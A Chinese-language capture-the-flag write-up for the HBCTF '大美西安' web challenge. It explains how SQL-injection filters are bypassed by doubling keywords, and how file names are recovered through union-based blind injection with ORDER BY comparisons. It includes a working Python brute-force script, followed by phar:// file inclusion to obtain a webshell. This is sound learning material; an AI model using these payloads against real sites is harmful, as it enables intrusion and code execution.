0%

HBCTF 大美西安

[HBCTF]大美西安

本来看这个河北CTF的名字还以为是个水题,但是还是有难度的,学到了一点新知识

思路

获取源码

点开是一个登录界面,看源码可以发现register.php的注释,成功注册登录而url上又有file=home的内容,估摸着是文件包含,伪协议直接读一波,发现回显禁止,这样子基本就确定了是文件包含的思路,但是源码怎么获得呢

登录之后页面一个上传一个下载,上传的文件不给路径,之后在下载界面显示一个id,而下载界面则是通过id查数据库进行下载,这样子就没机会跳目录进行任意文件下载了

既然文件能下载,那么数据库应该就是存了文件路径,通过查询返回路径进行下载。既然是查数据库就存在注入,当务之急是获取一下源码,那如果查询结果是源码路径,那不就能获取源码了?

但是这个注入还有过滤,并且怎么注都没有回显,很坑,最后看wp发现是关键字替换为空(就算我知道是关键字替换我还不知道是哪些被替换了,着实坑爹),双写绕过,拿到一堆源码,可以看见过滤是怎么过滤的了

坑点1

这里注入的时候本来想直接用引号包裹文件名获取,还是不行,后来看wp用0x十六进制数来获取的源码,看到源码之后发现在index.php的开头调用了一个自定义的转义函数,把引号什么的进行了转义,但是这个转义好像转的直接不能正常运行了,理论上转义也只是把引号变成引号字符才对

文件包含

文件包含被添加了固定的.php后缀,并且限制了.. php: 的伪协议和空白字符(不知道空白字符有什么用)
对于限制特定后缀的文件包含可以使用phar://协议或者zip://协议绕过,将后缀为.php的文件打包上传,这样子包含自己的打包文件中的php文件即可绕过
https://bl4ck.in/tricks/2015/06/10/zip%E6%88%96phar%E5%8D%8F%E8%AE%AE%E5%8C%85%E5%90%AB%E6%96%87%E4%BB%B6.html

union盲注

全新的知识点
但是这次的文件上传没有返回文件名,从源码中可以看到文件名被替换为了一个32位随机字符串,这样子硬撞是没希望了,所以我们就要看怎么通过注入来获取文件名
这里注入没有报错,只有一个查询不到结果时的回显和查询的结果文件不存在的回显
再看注入的过滤,这里把括号()给替换为空了,就等于不能使用函数,还有一些其他的符号也不能使用,这样子bool盲注时间盲注都没机会了
union查询会返回union查询的结果,按照常规顺序的话返回的行按查询顺序排序,如果使用order by,则会以ascii码顺序进行排序,比如这里我们使用select location from download where id=2 union select 0xxxxxx order by 1(使用十六进制表示是因为引号用了会出问题)
这样的语句,那么如果我后面的这个0xxxxx的字符串ascii码小于前面语句查询出来的结果,order by就会把union查询的结果作为第一行返回,我令ascii码递增,当我的ascii码大于前面的查询时,就会查询出正确结果,那么就可知上一次查询的结果应当与真实结果相匹配,这样子就可以一位位的试出来内容
注入原理如下

mysql> select username from users where id=1 union select 'Da' order by 1;
+----------+
| username |
+----------+
| Da       |
| Dumb     |
+----------+
2 rows in set (0.00 sec)

mysql> select username from users where id=1 union select 'Dz' order by 1;
+----------+
| username |
+----------+
| Dumb     |
| Dz       |
+----------+
2 rows in set (0.00 sec)

写一个脚本

import requests


def bin2hex(string):
    result = ""
    for i in string:
        result += hex(ord(i))[2:]
    return result


str_pool = "123456789abcdefghijklmnopqrstuvwxyz{"   # z后面的字符ascii码值要比z大,不然z下一步又遇到一个小的就无法判断了
url = "http://0f8def7f-c0bd-4db5-a818-bcaae8ee52a8.node3.buuoj.cn/downfile.php"
file_name = "./Up10aDs/"
headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "Cookie":  "_ga=GA1.2.231385534.1582877428; PHPSESSID=ei99gqi0lpr7lrsn8ihsquki12",
}
payload = "image=3 uniunionon seleselectct 0x{0} oorrder by 1&image_download=%E6%94%B6%E8%97%8F"

for i in range(33):
    print("[+]filename:" + file_name)
    for j in range(len(str_pool)):
        tmp_name = file_name + str_pool[j]
        data = payload.format(bin2hex(tmp_name))
        # print(data)
        r = requests.post(url=url, data=data, headers=headers)
        # print(r.text)
        if (r.status_code == 404) or (r.status_code == 529):
            r = requests.post(url=url, data=data, headers=headers)
        if "file may be deleted" not in r.text:
            file_name += str_pool[j-1]
            break

这里源码中产生的随机字符串只要0-9a-z,所以字符池中也只有这么多位

最后我创建了一个1.phar改名成1.png上传,里面打包了一个z3ratu1.php,最后查到路径进行包含,phar://Up10aDs/path.png/z3ratu1 这样子就会把后面的后缀补齐,再用phar协议解压缩成功包含了
http://wonderkun.cc/2017/02/26/%E5%9F%BA%E4%BA%8Eunion%E6%9F%A5%E8%AF%A2%E7%9A%84%E7%9B%B2%E6%B3%A8(%E6%84%9F%E8%B0%A2pcat%E7%89%9B%E4%B8%8D%E5%90%9D%E8%B5%90%E6%95%99)/

小坑

写到最后又忘了之前他给了一个引号的转义,最后getshell的时候执行phpinfo没什么问题,但是想执行函数带了几个引号就没反应了,我还以为有什么奇奇怪怪的问题,最后还是马师傅厉害,几分钟就测出来结果了,事实上执行函数不带引号问题也不大,大部分就报个警告然后当成字符串执行了
所以出了问题还是要思考是不是环境有过滤嘛后还是马师傅厉害,几分钟就测出来结果了,事实上执行函数不带引号问题也不大,大部分就报个警告然后当成字符串执行了
所以出了问题还是要思考是不是环境有过滤嘛